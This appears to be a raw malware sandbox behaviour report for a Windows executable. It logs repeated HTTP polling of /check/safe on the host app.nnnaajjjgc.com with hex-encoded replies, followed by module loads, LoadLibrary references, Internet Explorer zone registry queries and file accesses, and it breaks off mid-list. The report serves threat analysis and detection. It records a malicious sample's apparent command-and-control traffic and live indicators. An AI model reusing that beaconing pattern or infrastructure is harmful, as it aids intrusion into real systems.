HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 Host: app.nnnaajjjgc.com" Response ==> HTTP/1.1 200 OK Server: nginx Date: Thu 07 Sep 2023 17:03:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>35630D0A5455525A6555314561334E4A626B706F596D31535A6D4D7A556E6C4A616D39705A46566F565645796245684A5A586C4B656D465855576C50616C6B7A....... "GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 Host: app.nnnaajjjgc.com" Response ==> HTTP/1.1 200 OK Server: nginx Date: Thu 07 Sep 2023 17:03:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>35630D0A5455525A6555315551584E4A626B706F596D31535A6D4D7A556E6C4A616D3970546D745665565A59576C704A5A586C4B656D465855576C50616C6B30....... "GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 Host: app.nnnaajjjgc.com" Response ==> HTTP/1.1 200 OK Server: nginx Date: Thu 07 Sep 2023 17:03:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>35630D0A5455525A6555315552584E4A626B706F596D31535A6D4D7A556E6C4A616D397054316473565659774E48704A5A586C4B656D465855576C50616C6B30....... "GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 Host: app.nnnaajjjgc.com" Response ==> HTTP/1.1 200 OK Server: nginx Date: Thu 07 Sep 2023 17:03:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>35630D0A5455525A6555315552584E4A626B706F596D31535A6D4D7A556E6C4A616D397054315A47526D4A72576C6C4A5A586C4B656D465855576C50616C6B30....... "GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 Host: app.nnnaajjjgc.com" Response ==> HTTP/1.1 200 OK Server: nginx Date: Thu 07 Sep 2023 17:03:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>35630D0A5455525A6555315554584E4A626B706F596D31535A6D4D7A556E6C4A616D3970556A46474E47464853544A4A5A586C4B656D465855576C50616C6B30....... "GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 Host: app.nnnaajjjgc.com" Response ==> HTTP/1.1 200 OK Server: nginx Date: Thu 07 Sep 2023 17:03:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>35630D0A5455525A6555315554584E4A626B706F596D31535A6D4D7A556E6C4A616D39705656526B564656724E57704A5A586C4B656D465855576C50616C6B30....... "GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 Host: app.nnnaajjjgc.com" Response ==> HTTP/1.1 200 OK Server: nginx Date: Thu 07 Sep 2023 17:03:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>35630D0A5455525A6555315556584E4A626B706F596D31535A6D4D7A556E6C4A616D3970596D317355565A36566D6C4A5A586C4B656D465855576C50616C6B30....... "GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 Host: app.nnnaajjjgc.com" Response ==> HTTP/1.1 200 OK Server: nginx Date: Thu 07 Sep 2023 17:03:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>35630D0A5455525A6555315556584E4A626B706F596D31535A6D4D7A556E6C4A616D39705932317764475659576D704A5A586C4B656D465855576C50616C6B30....... "GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 Host: app.nnnaajjjgc.com" Response ==> HTTP/1.1 200 OK Server: nginx Date: Thu 07 Sep 2023 17:03:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>35630D0A5455525A6555315559334E4A626B706F596D31535A6D4D7A556E6C4A616D397056305A474E464A72526B394A5A586C4B656D465855576C50616C6B30....... "GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 Host: app.nnnaajjjgc.com" Response ==> HTTP/1.1 200 OK Server: nginx Date: Thu 07 Sep 2023 17:03:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>35630D0A5455525A6555315559334E4A626B706F596D31535A6D4D7A556E6C4A616D39705557355761574648526C684A5A586C4B656D465855576C50616C6B30....... "GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 Host: app.nnnaajjjgc.com" Response ==> HTTP/1.1 200 OK Server: nginx Date: Thu 07 Sep 2023 17:03:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>35630D0A5455525A655531555A334E4A626B706F596D31535A6D4D7A556E6C4A616D39705630527353316F77566C704A5A586C4B656D465855576C50616C6B30....... "GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 Host: app.nnnaajjjgc.com" Response ==> HTTP/1.1 200 OK Server: nginx Date: Thu 07 Sep 2023 17:03:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>35630D0A5455525A6555315561334E4A626B706F596D31535A6D4D7A556E6C4A616D3970597A4E7757575675556E684A5A586C4B656D465855576C50616C6B30....... "GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 Host: app.nnnaajjjgc.com" Response ==> HTTP/1.1 200 OK Server: nginx Date: Thu 07 Sep 2023 17:03:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>35630D0A5455525A6555317151584E4A626B706F596D31535A6D4D7A556E6C4A616D397056544653523035576346644A5A586C4B656D465855576C50616C6B30....... "GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 Host: app.nnnaajjjgc.com" Response ==> HTTP/1.1 200 OK Server: nginx Date: Thu 07 Sep 2023 17:03:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>35630D0A5455525A6555317152584E4A626B706F596D31535A6D4D7A556E6C4A616D39705930646F5956597862466C4A5A586C4B656D465855576C50616C6B30....... "GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 Host: app.nnnaajjjgc.com" Response ==> HTTP/1.1 200 OK Server: nginx Date: Thu 07 Sep 2023 17:03:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>35630D0A5455525A6555317153584E4A626B706F596D31535A6D4D7A556E6C4A616D3970556B5578526C6445617A524A5A586C4B656D465855576C50616C6B30....... "GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 Host: app.nnnaajjjgc.com" Response ==> HTTP/1.1 200 OK Server: nginx Date: Thu 07 Sep 2023 17:03:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>35630D0A5455525A6555317154584E4A626B706F596D31535A6D4D7A556E6C4A616D397056315A6163465275576D6C4A5A586C4B656D465855576C50616C6B30....... "GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 Host: app.nnnaajjjgc.com" Response ==> HTTP/1.1 200 OK Server: nginx Date: Thu 07 Sep 2023 17:03:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>35630D0A5455525A6555317155584E4A626B706F596D31535A6D4D7A556E6C4A616D397057544E4F53564E476246524A5A586C4B656D465855576C50616C6B30....... "GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 Host: app.nnnaajjjgc.com" Response ==> HTTP/1.1 200 OK Server: nginx Date: Thu 07 Sep 2023 17:03:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>35630D0A5455525A6555317156584E4A626B706F596D31535A6D4D7A556E6C4A616D39705756566F62465A47536B394A5A586C4B656D465855576C50616C6B30....... "GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 Host: app.nnnaajjjgc.com" Response ==> HTTP/1.1 200 OK Server: nginx Date: Thu 07 Sep 2023 17:03:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>35630D0A5455525A6555317157584E4A626B706F596D31535A6D4D7A556E6C4A616D3970595664774D6B3949546C5A4A5A586C4B656D465855576C50616C6B30....... "GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 Host: app.nnnaajjjgc.com" Response ==> HTTP/1.1 200 OK Server: nginx Date: Thu 07 Sep 2023 17:03:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>35630D0A5455525A6555317157584E4A626B706F596D31535A6D4D7A556E6C4A616D397054305531625752566247394A5A586C4B656D465855576C50616C6B30....... "GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 Host: app.nnnaajjjgc.com" Response ==> HTTP/1.1 200 OK Server: nginx Date: Thu 07 Sep 2023 17:03:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>35630D0A5455525A655531715A334E4A626B706F596D31535A6D4D7A556E6C4A616D39705632317356574E59556E704A5A586C4B656D465855576C50616C6B30....... "GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 Host: app.nnnaajjjgc.com" Response ==> HTTP/1.1 200 OK Server: nginx Date: Thu 07 Sep 2023 17:03:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>35630D0A5455525A655531715A334E4A626B706F596D31535A6D4D7A556E6C4A616D3970556D705A4D566C36556E644A5A586C4B656D465855576C50616C6B30....... "GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 Host: app.nnnaajjjgc.com" Response ==> HTTP/1.1 200 OK Server: nginx Date: Thu 07 Sep 2023 17:03:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>35630D0A5455525A6555313651584E4A626B706F596D31535A6D4D7A556E6C4A616D39705557706B6156527463456C4A5A586C4B656D465855576C50616C6B30....... "GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 Host: app.nnnaajjjgc.com" Response ==> HTTP/1.1 200 OK Server: nginx Date: Thu 07 Sep 2023 17:03:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>35630D0A5455525A6555313651584E4A626B706F596D31535A6D4D7A556E6C4A616D39705647354753453079556E6C4A5A586C4B656D465855576C50616C6B30....... "GET /check/safe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 Host: app.nnnaajjjgc.com" Response ==> HTTP/1.1 200 OK Server: nginx Date: Thu 07 Sep 2023 17:03:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding X-Powered-By: PHP/7.4.30 with response body ==>35630D0A5455525A6555313653584E4A626B706F596D31535A6D4D7A556E6C4A616D39705756686F655535566444464A5A586C4B656D465855576C50616C6B30.......3d:Taac,".exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base ba1f0000 ".exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base ba1f0000 ".exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base ba1f0000 ".exe" loaded module "KERNEL32" at base bce20000 ".exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base a65c0000 ".exe" loaded module "MSVCRT" at base bd8f0000 ".exe" loaded module "WININET" at base a9060000 ".exe" loaded module "KERNEL32.DLL" at base bce20000 ".exe" loaded module "RPCRT4.DLL" at base bb1b0000 ".exe" loaded module "SSPICLI.DLL" at base b9d80000 ".exe" loaded module "USER32.DLL" at base bd760000 ".exe" loaded module "ONDEMANDCONNROUTEHELPER.DLL" at base 9cb60000 ".exe" loaded module "WINHTTP.DLL" at base b4480000 ".exe" loaded module "%WINDIR%\SYSTEM32\ONDEMANDCONNROUTEHELPER.DLL" at base 9cb60000 ".exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base b9680000 ".exe" loaded module "MSISO.DLL" at base 9ab00000 ".exe" loaded module "%WINDIR%\SYSTEM32\RASADHLP.DLL" at base b25b0000 ".exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base b37e0000 ".exe" loaded module "%WINDIR%\SYSTEM32\WS2_32" at base bb2d0000 ".exe" loaded module "%WINDIR%\SYSTEM32\SCHANNEL.DLL" at base b91d0000 ".exe" loaded module "MSKEYPROTECT.DLL" at base acb20000 ".exe" loaded module "%WINDIR%\SYSTEM32\WINTRUST.DLL" at base baf70000 ".exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base b9290000 ".exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base baef0000 ".exe" loaded module "%WINDIR%\SYSTEM32\CRYPTNET.DLL" at base aab90000 ".exe" loaded module "%WINDIR%\SYSTEM32\CRYPT32.DLL" at base ba020000 ".exe" loaded module "CRYPTNET.DLL" at base aab90000 ".exe" loaded module "%WINDIR%\SYSTEM32\NCRYPTSSLP.DLL" at base ac7f0000 ".exe" loaded module "NTDLL" at base bdb00000 ".exe" loaded module "ADVAPI32.DLL" at base bafd0000 ".exe" loaded module "SHELL32.DLL" at base bb340000 ".exe" loaded module "CRYPT32.DLL" at base ba020000 ".exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base ba1f0000 ".exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base ba1f0000 ".exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base ba1f00003e:T528,Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00006900.00000000.68879.6D1E6000.00000040.mdmp, 00000000-00006900.00000001.70800.05070000.00000004.mdmp, 00000000-00006900.00000001.70800.05A80000.00000040.mdmp, 00000000-00006900.00000001.70800.05C00000.00000040.mdmp, 00000000-00006900.00000001.70800.6D1E6000.00000040.mdmp, 00000000-00006900.00000002.72721.05070000.00000004.mdmp, 00000000-00006900.00000002.72721.05A80000.00000040.mdmp, 00000000-00006900.00000002.72721.05C00000.00000040.mdmp, 00000000-00006900.00000002.72721.6D1E6000.00000040.mdmp") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.05070000.00000004.mdmp, 00000000-00006900.00000001.70800.05A80000.00000040.mdmp, 00000000-00006900.00000001.70800.05C00000.00000040.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.05070000.00000004.mdmp, 00000000-00006900.00000002.72721.05A80000.00000040.mdmp, 00000000-00006900.00000002.72721.05C00000.00000040.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp")3f:Tc9a,".exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\INTERNET EXPLORER\MAIN\FEATURECONTROL\FEATURE_IGNORE_POLICIES_ZONEMAP_IF_ESC_ENABLED_KB918915"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\INTERNET EXPLORER\MAIN\FEATURECONTROL\FEATURE_IGNORE_POLICIES_ZONEMAP_IF_ESC_ENABLED_KB918915"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP\DOMAINS\"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP\DOMAINS\"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\ZONEMAP\RANGES\"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKCU\ZONEMAP\RANGES\"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\INTERNET EXPLORER\MAIN\FEATURECONTROL\FEATURE_ZONES_CHECK_ZONEMAP_POLICY_KB941001"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\INTERNET EXPLORER\MAIN\FEATURECONTROL\FEATURE_ZONES_CHECK_ZONEMAP_POLICY_KB941001"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP\"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP\"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP\"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\INTERNET EXPLORER"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\INTERNET EXPLORER\SECURITY"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\INTERNET EXPLORER\SECURITY"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\SETUP"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONES\"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONES\0"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONES\1"; Key: ""; Value: "") ".exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONES\2"; Key: ""; Value: "")40:Tc64,".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "SECURITY_HKLM_ONLY"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\INTERNET EXPLORER\SECURITY"; Key: "DISABLESECURITYSETTINGSCHECK"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\SETUP"; Key: "SYSTEMSETUPINPROGRESS"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONES\0"; Key: "FLAGS"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONES\1"; Key: "FLAGS"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONES\2"; Key: "FLAGS"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONES\3"; Key: "FLAGS"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONES\4"; Key: "FLAGS"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\INTERNET EXPLORER\MAIN\FEATURECONTROL\FEATURE_LOCALMACHINE_LOCKDOWN"; Key: "BA6576E842991FD627FFB782AE60A4C694C77B963C5AFC73BC358C2CB27C3B57.EXE"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\INTERNET EXPLORER\MAIN\FEATURECONTROL\FEATURE_LOCALMACHINE_LOCKDOWN"; Key: "*"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\INTERNET EXPLORER\MAIN\FEATURECONTROL\FEATURE_LOCALMACHINE_LOCKDOWN"; Key: "BA6576E842991FD627FFB782AE60A4C694C77B963C5AFC73BC358C2CB27C3B57.EXE"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\INTERNET EXPLORER\MAIN\FEATURECONTROL\FEATURE_LOCALMACHINE_LOCKDOWN"; Key: "*"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "CREATEURICACHESIZE"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "CREATEURICACHESIZE"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "CREATEURICACHESIZE"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "CREATEURICACHESIZE"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "ENABLEPUNYCODE"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "ENABLEPUNYCODE"; Value: "") ".exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "ENABLEPUNYCODE"; Value: "")41:T41c,".exe" trying to touch file "C:\Windows\System32\apphelp.dll" ".exe" trying to touch file "C:\ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.exe" ".exe" trying to touch file "C:\Windows\System32\ntdll.dll" ".exe" trying to touch file "C:\Windows\System32\kernel32.dll" ".exe" trying to touch file "C:\Windows\System32\KernelBase.dll" ".exe" trying to touch file "C:\Windows\apppatch\sysmain.sdb" ".exe" trying to touch file "C:\BA6576E842991FD627FFB782AE60A4C694C77B963C5AFC73BC358C2CB27C3B57.EXE.LOCAL" ".exe" trying to touch file "C:\Windows\WinSxS\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.16299.248_none_15ced204935f55d7\comctl32.dll" ".exe" trying to touch file "C:\SLC.DLL" ".exe" trying to touch file "C:\Windows\System32\slc.dll" ".exe" trying to touch file "C:\DPX.DLL" ".exe" trying to touch file "C:\Windows\System32\dpx.dll"42:T528,".exe" trying to access non-existent file "C:\SLC.DLL" ".exe" trying to access non-existent file "C:\DPX.DLL" ".exe" trying to access non-existent file "C:\SPPC.DLL" ".exe" trying to access non-existent file "C:\FLTLIB.DLL" ".exe" trying to access non-existent file "C:\WININET.DLL" ".exe" trying to access non-existent file "C:\wininet.DLL" ".exe" trying to access non-existent file "C:\IERTUTIL.DLL" ".exe" trying to access non-existent file "C:\iertutil.dll" ".exe" trying to access non-existent file "C:\SSPICLI.DLL" ".exe" trying to access non-existent file "C:\SspiCli.dll" ".exe" trying to access non-existent file "C:\URLMON.DLL" ".exe" trying to access non-existent file "C:\urlmon.dll" ".exe" trying to access non-existent file "C:\CRYPTBASE.DLL" ".exe" trying to access non-existent file "C:\BCRYPT.DLL" ".exe" trying to access non-existent 